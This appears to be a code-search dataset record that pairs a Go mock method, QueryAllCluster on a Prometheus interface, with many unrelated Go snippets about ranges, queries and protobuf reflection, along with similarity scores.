err = r.Read(buf)\n\n\tassert.Equal(t, 200, n)\n\tassert.Equal(t, io.EOF, err)\n\n\t// Slice\n\tr = part.Reader(2, 4)\n\n\tassert.Equal(t, r.index, 1)\n\tassert.Equal(t, r.stop, 2)\n\n\tn, err = r.Read(buf)\n\n\tassert.Equal(t, 100, n)\n\tassert.Equal(t, io.EOF, err)\n\n\t// Out of range\n\tr = part.Reader(6, 0)\n\n\tn, err = r.Read(buf)\n\n\tassert.Equal(t, 0, n)\n\tassert.Equal(t, io.EOF, err)\n}", "func Test_UnionRange(t *testing.T) {\n\tsetup()\n\tdefer teardown()\n\tlog(\"UnionRange\")\n\t//1..100 in -20..5, 10..100\n\tr1 := CreateFromToRangeInts(-20, 5)\n\tr2 := CreateFromToRangeInts(10, 100)\n\tunionTest(t, [][]int{{1, 100}}, []IRange{r1, r2}, [][]int{{1, 5}, {10, 100}})\n}", "func (r *Responder) RequestedRangeNotSatisfiable() { r.write(http.StatusRequestedRangeNotSatisfiable) }", "func (mr *MockDatabaseMockRecorder) GetTopicsRange(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetTopicsRange\", reflect.TypeOf((*MockDatabase)(nil).GetTopicsRange), arg0, arg1)\n}", "func (me TxsdPremiseNumberNumberType) IsRange() bool { return me == \"Range\" }", "func (v viewRequestBuilder) GetMetricRange(fingerprint model.Fingerprint, from, through time.Time) {\n\tops := v.operations[fingerprint]\n\tops = append(ops, &getValuesAlongRangeOp{\n\t\tfrom: from,\n\t\tthrough: through,\n\t})\n\tv.operations[fingerprint] = ops\n}", "func (x *fastReflection_QueryAccountAddressByIDResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.AccountAddress != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.AccountAddress)\n\t\tif !f(fd_QueryAccountAddressByIDResponse_account_address, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_QueryModuleAccountByNameResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Account != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Account.ProtoReflect())\n\t\tif !f(fd_QueryModuleAccountByNameResponse_account, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func TestParsing07(t *testing.T) {\n\tvar q = \"%a-b-%d\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err == nil {\n\t\tt.Errorf(\"Expected Error, (Query: %s) should NOT BE parsed [Unexpected %% (before d)]\", q)\n\t}\n}", "func (x *fastReflection_Bech32PrefixRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n}", "func (qc *qualityControl) assertRange(f string, v float64, min float64, max float64) {\n\tif v < min || v > max {\n\t\tqc.errs = append(qc.errs, fmt.Errorf(\"range check, %f < (%s) < %f, failed for value: %f\", min, f, max, v))\n\t}\n}", "func (bg *BarGroup) QueryTimeRange() *BarTimeRangeQuery {\n\treturn (&BarGroupClient{config: bg.config}).QueryTimeRange(bg)\n}", "func (x *fastReflection_AddressBytesToStringRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif len(x.AddressBytes) != 0 {\n\t\tvalue := protoreflect.ValueOfBytes(x.AddressBytes)\n\t\tif !f(fd_AddressBytesToStringRequest_address_bytes, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func Range(params ...cty.Value) (cty.Value, error) {\n\treturn RangeFunc.Call(params)\n}", "func (ng *Engine) NewRangeQuery(qs string, start, end model.Time, interval time.Duration) (Query, error) {\n\texpr, err := ParseExpr(qs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif expr.Type() != model.ValVector && expr.Type() != model.ValScalar {\n\t\treturn nil, fmt.Errorf(\"invalid expression type %q for range query, must be scalar or instant vector\", documentedType(expr.Type()))\n\t}\n\tqry := ng.newQuery(expr, start, end, interval)\n\tqry.q = qs\n\n\treturn qry, nil\n}", "func Range(scope *Scope, start tf.Output, limit tf.Output, delta tf.Output) (output tf.Output) {\n\tif scope.Err() != nil {\n\t\treturn\n\t}\n\topspec := tf.OpSpec{\n\t\tType: \"Range\",\n\t\tInput: []tf.Input{\n\t\t\tstart, limit, delta,\n\t\t},\n\t}\n\top := scope.AddOperation(opspec)\n\treturn op.Output(0)\n}", "func (x *fastReflection_EventRetire) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Retirer != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.Retirer)\n\t\tif !f(fd_EventRetire_retirer, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.BatchDenom != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.BatchDenom)\n\t\tif !f(fd_EventRetire_batch_denom, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.Amount != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.Amount)\n\t\tif !f(fd_EventRetire_amount, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.Location != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.Location)\n\t\tif !f(fd_EventRetire_location, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_MsgUpdateParamsResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n}", "func TestParsing06(t *testing.T) {\n\tvar q = \"%a-b-c-1\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err != nil {\n\t\tt.Errorf(\"Expected NO Error, (Query: %s) should BE parsed [ends with -1]\", q)\n\t}\n}", "func (q *Query) NamesRange() string {\n\treturn q.sheetName + \"!\" + \"A:A\"\n}", "func (f *fragment) rangeOp(op pql.Token, bitDepth uint, predicate int64) (*Row, error) {\n\tswitch op {\n\tcase pql.EQ:\n\t\treturn f.rangeEQ(bitDepth, predicate)\n\tcase pql.NEQ:\n\t\treturn f.rangeNEQ(bitDepth, predicate)\n\tcase pql.LT, pql.LTE:\n\t\treturn f.rangeLT(bitDepth, predicate, op == pql.LTE)\n\tcase pql.GT, pql.GTE:\n\t\treturn f.rangeGT(bitDepth, predicate, op == pql.GTE)\n\tdefault:\n\t\treturn nil, ErrInvalidRangeOperation\n\t}\n}", "func TestValidateTimeRange(t *testing.T) {\n\tnow := time.Now()\n\thourAgo := now.Add(time.Hour * -1)\n\tfuture := now.Add(time.Hour)\n\n\ttests := []struct {\n\t\tname string\n\t\tstartTime time.Time\n\t\tendTime time.Time\n\t\topts []ValidateRangeOption\n\t\texpectedErr error\n\t}{\n\t\t{\n\t\t\tname: \"start before end\",\n\t\t\tstartTime: hourAgo,\n\t\t\tendTime: now,\n\t\t\texpectedErr: nil,\n\t\t},\n\t\t{\n\t\t\t// We allow equal ranges when we do not have an\n\t\t\t// additional check in place.\n\t\t\tname: \"start equals end\",\n\t\t\tstartTime: hourAgo,\n\t\t\tendTime: hourAgo,\n\t\t\texpectedErr: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"start equals end disallowed\",\n\t\t\tstartTime: hourAgo,\n\t\t\tendTime: hourAgo,\n\t\t\topts: []ValidateRangeOption{\n\t\t\t\tDisallowZeroRange,\n\t\t\t},\n\t\t\texpectedErr: errZeroRange,\n\t\t},\n\t\t{\n\t\t\tname: \"end before start\",\n\t\t\tstartTime: now,\n\t\t\tendTime: hourAgo,\n\t\t\texpectedErr: errEndBeforeStart,\n\t\t},\n\t\t{\n\t\t\t// Range in future is ok when we don't have another\n\t\t\t// check.\n\t\t\tname: \"range in future\",\n\t\t\tstartTime: now,\n\t\t\tendTime: future,\n\t\t\texpectedErr: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"range in future disallowed\",\n\t\t\tstartTime: now,\n\t\t\tendTime: future,\n\t\t\topts: []ValidateRangeOption{\n\t\t\t\tDisallowFutureRange,\n\t\t\t},\n\t\t\texpectedErr: errFutureRange,\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\ttest := test\n\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\tt.Parallel()\n\n\t\t\terr := ValidateTimeRange(\n\t\t\t\ttest.startTime, test.endTime, test.opts...,\n\t\t\t)\n\t\t\tif err != test.expectedErr {\n\t\t\t\tt.Fatalf(\"expected %v, got: %v\",\n\t\t\t\t\ttest.expectedErr, err)\n\t\t\t}\n\t\t})\n\t}\n}", "func (x *fastReflection_MsgDepositValidatorRewardsPoolResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n}", "func Test_DomRange(t *testing.T) {\n\tsetup()\n\tdefer teardown()\n\tlog(\"DomRange and AddRange\")\n\n\t//1..10 in 1..10+5\n\tdomRange_test(t, []int{1, 10}, []int{1, 10}, 5, []int{6, 10})\n\t//1..10 in 1..10+0\n\tdomRange_test(t, []int{1, 10}, []int{1, 10}, 0, []int{1, 10})\n\t//1..10 in 1..10-5\n\tdomRange_test(t, []int{1, 10}, []int{1, 10}, -5, []int{1, 5})\n\t//1..10 in 20..30+2\n\tdomRange_test(t, []int{1, 10}, []int{20, 30}, 2, []int{})\n}", "func (q *Query) validate(timeFirstBlock, timeLastBlock int64, l int) []byte {\n\tif q.Range == nil {\n\t\treturn nil\n\t}\n\tif q.Range.Start < q.Range.End {\n\t\treturn q.ReturnMessageResponse(\"ERROR_fromTimestamp_LESS_THAN_tillTimestamp\")\n\t}\n\tif q.Range.Start < timeLastBlock || q.Range.End > timeFirstBlock {\n\t\treturn q.ReturnNILResponse()\n\t}\n\tif l == 0 {\n\t\treturn q.ReturnNILResponse()\n\t}\n\treturn nil\n}", "func (v *Provider) Range() (int64, error) {\n\tres, err := v.apiG()\n\n\tif res, ok := res.(Response); err == nil && ok {\n\t\treturn int64(res.Data.Attributes.RangeHvacOff), nil\n\t}\n\n\treturn 0, err\n}", "func TestParsing11(t *testing.T) {\n\tvar q = \"a-b-c-d\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err != nil {\n\t\tt.Errorf(\"Expected NO Error, (Query: %s) should BE parsed (a.b.c.d is valid ip)\", q)\n\t}\n\n\tr.Execute()\n\tresult, errs := r.Evaluate(store)\n\tvar expected = []string{\"a-b-c-d\"}\n\tif len(errs) != 0 || !compare(*result, expected) {\n\t\tt.Errorf(\"Expected NO Evaluate Error, (Query: %s) should BE %s [Got: %s]\", q, expected, *result)\n\t}\n}", "func (cte *ConcurrencyTestEngine) TestGenSQSQRange(c *C) {\n\tfmt.Printf(\"Call to function TestGenSQSQRange\\n\")\n\t// Set up the pipeline and consume the output.\n\tfor n := range sq(sq(gen(2, 3))) {\n\t\tfmt.Println(n) // 16 then 81\n\t}\n}", "func TestParsing02(t *testing.T) {\n\tvar q = \"a\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err != nil {\n\t\tt.Errorf(\"Expected NO Error, (Query: %s) should BE parsed [starts with a-z]\", q)\n\t}\n\tr.Execute()\n\tresult, errs := r.Evaluate(store)\n\tif len(errs) != 0 || !compare(*result, []string{\"a\"}) {\n\t\tt.Errorf(\"Expected NO Evaluate Error, (Query: %s) should BE %s [Got: %s]\", []string{\"ops\"}, *result)\n\t}\n}", "func RangeNotSatisfiable(message ...interface{}) Err {\n\treturn Boomify(http.StatusRequestedRangeNotSatisfiable, message...)\n}", "func (b *Backend) GetRange(ctx context.Context, startKey []byte, endKey []byte, limit int) (*backend.GetResult, error) {\n\tdocSnaps, err := b.getRangeDocs(ctx, startKey, endKey, limit)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tvalues := make([]backend.Item, 0)\n\tfor _, docSnap := range docSnaps {\n\t\tr, err := newRecordFromDoc(docSnap)\n\t\tif err != nil {\n\t\t\treturn nil, trace.Wrap(err)\n\t\t}\n\n\t\tif r.isExpired(b.clock.Now()) {\n\t\t\tif _, err := docSnap.Ref.Delete(ctx, firestore.LastUpdateTime(docSnap.UpdateTime)); err != nil && status.Code(err) == codes.FailedPrecondition {\n\t\t\t\t// If the document has been updated, then attempt one additional get to see if the\n\t\t\t\t// resource was updated and is no longer expired.\n\t\t\t\tdocSnap, err := b.svc.Collection(b.CollectionName).Doc(docSnap.Ref.ID).Get(ctx)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, ConvertGRPCError(err)\n\t\t\t\t}\n\t\t\t\tr, err := newRecordFromDoc(docSnap)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, trace.Wrap(err)\n\t\t\t\t}\n\n\t\t\t\tif !r.isExpired(b.clock.Now()) {\n\t\t\t\t\tvalues = append(values, r.backendItem())\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Do not include this document in result.\n\t\t\tcontinue\n\t\t}\n\n\t\tvalues = append(values, r.backendItem())\n\t}\n\treturn &backend.GetResult{Items: values}, nil\n}", "func (rmq *RangeMexQuery) AddQuery(start, end int) {\r\n\trmq.query = append(rmq.query, [2]int{start, end})\r\n}", "func TestQuery(t *testing.T) {\n\t_, smc := getConnectionToShardMasterRaftLeader(t)\n\n\tfireQueryRequest(t, smc, &pb.QueryArgs{Num: -1})\n\n}", "func (x *fastReflection_AddressStringToBytesRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.AddressString != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.AddressString)\n\t\tif !f(fd_AddressStringToBytesRequest_address_string, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func expectRange(r *style.Range) parser {\n\treturn func(in parserInput) parserOutput {\n\t\t// check for start symbol\n\t\tout := expectString(r.StartSymbol)(in)\n\t\tif out.result == nil {\n\t\t\treturn fail()\n\t\t}\n\t\tin = out.remaining\n\t\tvar b strings.Builder\n\t\t_, err := b.WriteString(r.StartSymbol)\n\t\tcheck(err)\n\n\t\t// search until end symbol or end\n\t\tout = searchUntil(expectString(r.EndSymbol))(in)\n\t\ts := out.result.(search)\n\t\t_, err = b.WriteString(s.consumed)\n\t\tcheck(err)\n\n\t\t// if end symbol found, add to builder\n\t\tif s.result != nil {\n\t\t\t_, err = b.WriteString(r.EndSymbol)\n\t\t\tcheck(err)\n\t\t}\n\t\tin = out.remaining\n\t\treturn success(rangeOutput{b.String(), r}, in)\n\t}\n}", "func getListingsByRange(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\tif len(args) != 2 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 2\")\n\t}\n\n\tstartKey := args[0]\n\tendKey := args[1]\n\n\tresultsIterator, err := stub.GetStateByRange(startKey, endKey)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\tdefer resultsIterator.Close()\n\n\t// buffer is a JSON array containing QueryResults\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"[\")\n\n\tbArrayMemberAlreadyWritten := false\n\tfor resultsIterator.HasNext() {\n\t\taKeyValue, err := resultsIterator.Next()\n\t\tif err != nil {\n\t\t\treturn shim.Error(err.Error())\n\t\t}\n\t\tqueryResultKey := aKeyValue.Key\n\t\tqueryResultValue := aKeyValue.Value\n\n\t\t// Add a comma before array members, suppress it for the first array member\n\t\tif bArrayMemberAlreadyWritten == true {\n\t\t\tbuffer.WriteString(\",\")\n\t\t}\n\t\tbuffer.WriteString(\"{\\\"Key\\\":\")\n\t\tbuffer.WriteString(\"\\\"\")\n\t\tbuffer.WriteString(queryResultKey)\n\t\tbuffer.WriteString(\"\\\"\")\n\n\t\tbuffer.WriteString(\", \\\"Record\\\":\")\n\t\t// Record is a JSON object, so we write as-is\n\t\tbuffer.WriteString(string(queryResultValue))\n\t\tbuffer.WriteString(\"}\")\n\t\tbArrayMemberAlreadyWritten = true\n\t}\n\tbuffer.WriteString(\"]\")\n\n\tfmt.Printf(\"- getListingByRange queryResult:\\n%s\\n\", buffer.String())\n\n\treturn shim.Success(buffer.Bytes())\n}", "func (x *fastReflection_Supply) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif len(x.Total) != 0 {\n\t\tvalue := protoreflect.ValueOfList(&_Supply_1_list{list: &x.Total})\n\t\tif !f(fd_Supply_total, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (t *serial) QueryArray(from, to []int) []Interval {\n\tresult := make([]Interval, 0, 10)\n\tfor i, fromvalue := range from {\n\t\tresult = append(result, t.Query(fromvalue, to[i])...)\n\t}\n\treturn result\n}", "func (pagination *Pagination) Range(r Range) *Pagination {\n\tpagination.driver.Range(r)\n\treturn pagination\n}", "func (o *OGN) Range(ctx context.Context, f func(Data)) error {\n\tfor ctx.Err() == nil {\n\t\tvalue, ok := o.next()\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\t\tif value != nil && ctx.Err() == nil {\n\t\t\tf(*value)\n\t\t}\n\t}\n\treturn ctx.Err()\n}", "func (x *fastReflection_ModuleOptions) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Tx != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Tx.ProtoReflect())\n\t\tif !f(fd_ModuleOptions_tx, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.Query != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Query.ProtoReflect())\n\t\tif !f(fd_ModuleOptions_query, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (t *BPTree) Range(start, end []byte) (records Records, err error) {\n\tif compare(start, end) > 0 {\n\t\treturn nil, ErrStartKey\n\t}\n\n\treturn getRecordWrapper(t.findRange(start, end))\n}", "func (x *fastReflection_ValidatorOutstandingRewardsRecord) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.ValidatorAddress != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.ValidatorAddress)\n\t\tif !f(fd_ValidatorOutstandingRewardsRecord_validator_address, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif len(x.OutstandingRewards) != 0 {\n\t\tvalue := protoreflect.ValueOfList(&_ValidatorOutstandingRewardsRecord_2_list{list: &x.OutstandingRewards})\n\t\tif !f(fd_ValidatorOutstandingRewardsRecord_outstanding_rewards, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_ValidatorHistoricalRewardsRecord) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.ValidatorAddress != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.ValidatorAddress)\n\t\tif !f(fd_ValidatorHistoricalRewardsRecord_validator_address, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.Period != uint64(0) {\n\t\tvalue := protoreflect.ValueOfUint64(x.Period)\n\t\tif !f(fd_ValidatorHistoricalRewardsRecord_period, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.Rewards != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Rewards.ProtoReflect())\n\t\tif !f(fd_ValidatorHistoricalRewardsRecord_rewards, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (s *BasePlSqlParserListener) EnterRange_values_clause(ctx *Range_values_clauseContext) {}", "func (s *Store) RangeFeed(\n\targs *roachpb.RangeFeedRequest, stream roachpb.Internal_RangeFeedServer,\n) *roachpb.Error {\n\n\tif filter := s.TestingKnobs().TestingRangefeedFilter; filter != nil {\n\t\tif pErr := filter(args, stream); pErr != nil {\n\t\t\treturn pErr\n\t\t}\n\t}\n\n\tif err := verifyKeys(args.Span.Key, args.Span.EndKey, true); err != nil {\n\t\treturn roachpb.NewError(err)\n\t}\n\n\t// Get range and add command to the range for execution.\n\trepl, err := s.GetReplica(args.RangeID)\n\tif err != nil {\n\t\treturn roachpb.NewError(err)\n\t}\n\tif !repl.IsInitialized() {\n\t\t// (*Store).Send has an optimization for uninitialized replicas to send back\n\t\t// a NotLeaseHolderError with a hint of where an initialized replica might\n\t\t// be found. RangeFeeds can always be served from followers and so don't\n\t\t// otherwise return NotLeaseHolderError. For simplicity we also don't return\n\t\t// one here.\n\t\treturn roachpb.NewError(roachpb.NewRangeNotFoundError(args.RangeID, s.StoreID()))\n\t}\n\treturn repl.RangeFeed(args, stream)\n}", "func QuerySetTimeRange(\n\tquery *influxql.Query, min, max time.Time) (*influxql.Query, error) {\n\treturn querySetTimeRange(query, min, max)\n}", "func (mr *MockDatabaseMockRecorder) GetClientsRange(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetClientsRange\", reflect.TypeOf((*MockDatabase)(nil).GetClientsRange), arg0, arg1)\n}", "func (x *fastReflection_AddressStringToBytesResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif len(x.AddressBytes) != 0 {\n\t\tvalue := protoreflect.ValueOfBytes(x.AddressBytes)\n\t\tif !f(fd_AddressStringToBytesResponse_address_bytes, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_EventCreateBatch) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.ClassId != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.ClassId)\n\t\tif !f(fd_EventCreateBatch_class_id, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.BatchDenom != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.BatchDenom)\n\t\tif !f(fd_EventCreateBatch_batch_denom, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.Issuer != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.Issuer)\n\t\tif !f(fd_EventCreateBatch_issuer, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.TotalAmount != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.TotalAmount)\n\t\tif !f(fd_EventCreateBatch_total_amount, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.StartDate != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.StartDate)\n\t\tif !f(fd_EventCreateBatch_start_date, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.EndDate != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.EndDate)\n\t\tif !f(fd_EventCreateBatch_end_date, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.ProjectLocation != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.ProjectLocation)\n\t\tif !f(fd_EventCreateBatch_project_location, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (q *Query) Validate() error {\n\tif q.rang.Start > q.rang.End {\n\t\treturn fmt.Errorf(\"range error: start time is greater than end time\")\n\t}\n\tif ok := tsdb.VerifyChainPathExists(q.dbPath); !ok {\n\t\treturn fmt.Errorf(\"dbpath error: path doesn't exists\")\n\t}\n\n\tif q.typ != TypeFirst && q.typ != TypeRange {\n\t\treturn fmt.Errorf(\"typ error: invalid query type\")\n\t}\n\treturn nil\n}", "func TestParsing10(t *testing.T) {\n\tvar q = \"a.b.c.d\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err != nil {\n\t\tt.Errorf(\"Expected NO Error, (Query: %s) should BE parsed (a.b.c.d is valid ip)\", q)\n\t}\n\n\tr.Execute()\n\tresult, errs := r.Evaluate(store)\n\tvar expected = []string{\"a.b.c.d\"}\n\tif len(errs) != 0 || !compare(*result, expected) {\n\t\tt.Errorf(\"Expected NO Evaluate Error, (Query: %s) should BE %s [Got: %s]\", q, expected, *result)\n\t}\n}", "func (x *fastReflection_AddressBytesToStringResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.AddressString != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.AddressString)\n\t\tif !f(fd_AddressBytesToStringResponse_address_string, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_Bech32PrefixResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Bech32Prefix != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.Bech32Prefix)\n\t\tif !f(fd_Bech32PrefixResponse_bech32_prefix, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func outOfRange(sc *stmtctx.StatementContext, min, max, val *types.Datum) (int, error) {\n\tresult, err := val.CompareDatum(sc, min)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tif result < 0 {\n\t\treturn result, nil\n\t}\n\tresult, err = val.CompareDatum(sc, max)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tif result > 0 {\n\t\treturn result, nil\n\t}\n\treturn 0, nil\n}" ]
[ "0.72712886", "0.7232276", "0.72111946", "0.7111909", "0.71057194", "0.70856696", "0.69526845", "0.69290924", "0.6922281", "0.6897112", "0.6871644", "0.687012", "0.6722001", "0.6617964", "0.6603312", "0.6578228", "0.65688515", "0.65140665", "0.6511754", "0.6407689", "0.6394906", "0.6379687", "0.63188547", "0.63024265", "0.621858", "0.6199979", "0.61442786", "0.6134763", "0.6131522", "0.6064089", "0.603902", "0.602274", "0.6016252", "0.6008369", "0.5985453", "0.5964162", "0.5960311", "0.5930473", "0.58870983", "0.5884008", "0.588309", "0.58636016", "0.58377427", "0.5832031", "0.5823258", "0.57760715", "0.57211167", "0.5714446", "0.5714217", "0.57008857", "0.5694439", "0.56871617", "0.5659905", "0.56472033", "0.56393445", "0.5590588", "0.55901104", "0.5584049", "0.5544708", "0.5529288", "0.55244654", "0.5521554", "0.55084294", "0.5500268", "0.54954946", "0.5488253", "0.5481547", "0.54782075", "0.5471027", "0.5461756", "0.5460227", "0.545508", "0.5445548", "0.5430682", "0.54292697", "0.54291874", "0.5428287", "0.54253006", "0.54206735", "0.5418973", "0.54146135", "0.54124415", "0.54048043", "0.5402137", "0.5383022", "0.53829914", "0.5377721", "0.53749", "0.5374806", "0.5370635", "0.5368373", "0.5363248", "0.5358512", "0.5357896", "0.53452414", "0.5344542", "0.5343818", "0.53401667", "0.5334559", "0.53291005" ]
0.7119597
3
QueryAllCluster mocks base method
func (m *MockprometheusInterface) QueryAllCluster() ([]string, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "QueryAllCluster") ret0, _ := ret[0].([]string) ret1, _ := ret[1].(error) return ret0, ret1 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Mock() Cluster { return mockCluster{} }", "func (m *MockRdbClient) ListCluster(arg0 context.Context, arg1 *v1alpha.ListClusterRequest, arg2 ...grpc.CallOption) (*v1alpha.ListClusterResponse, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ListCluster\", varargs...)\n\tret0, _ := ret[0].(*v1alpha.ListClusterResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockTChanCluster) Query(ctx thrift.Context, req *QueryRequest) (*QueryResult_, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Query\", ctx, req)\n\tret0, _ := ret[0].(*QueryResult_)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func ListAllCluster(c echo.Context) error {\n\tcblog.Info(\"call ListAllCluster()\")\n\n\tvar req struct {\n\t\tNameSpace string\n\t\tConnectionName string\n\t}\n\n\tif err := c.Bind(&req); err != nil {\n\t\treturn echo.NewHTTPError(http.StatusInternalServerError, err.Error())\n\t}\n\n\t// To support for Get-Query Param Type API\n\tif req.ConnectionName == \"\" {\n\t\treq.ConnectionName = c.QueryParam(\"ConnectionName\")\n\t}\n\n\t// Call common-runtime API\n\tallResourceList, err := cmrt.ListAllResource(req.ConnectionName, rsCluster)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusInternalServerError, err.Error())\n\t}\n\n\t// To support for Get-Query Param Type API\n\tif req.NameSpace == \"\" {\n\t\treq.NameSpace = c.QueryParam(\"NameSpace\")\n\t}\n\n\t// Resource Name has namespace prefix when from Tumblebug\n\tif req.NameSpace != \"\" {\n\t\tnameSpace := req.NameSpace + \"-\"\n\t\tfor idx, IID := range allResourceList.AllList.MappedList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.MappedList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t\tfor idx, IID := range allResourceList.AllList.OnlySpiderList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.OnlySpiderList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t\tfor idx, IID := range allResourceList.AllList.OnlyCSPList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.OnlyCSPList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t}\n\n\tvar jsonResult struct {\n\t\tConnection string\n\t\tAllResourceList *cmrt.AllResourceList\n\t}\n\tjsonResult.Connection = req.ConnectionName\n\tjsonResult.AllResourceList = &allResourceList\n\n\treturn c.JSON(http.StatusOK, &jsonResult)\n}", "func (c *Container) GetClusterNodes(ctx echo.Context) error {\n response := models.ClusterNodesResponse{\n Data: []models.NodeData{},\n }\n tabletServersFuture := make(chan helpers.TabletServersFuture)\n clusterConfigFuture := make(chan helpers.ClusterConfigFuture)\n go 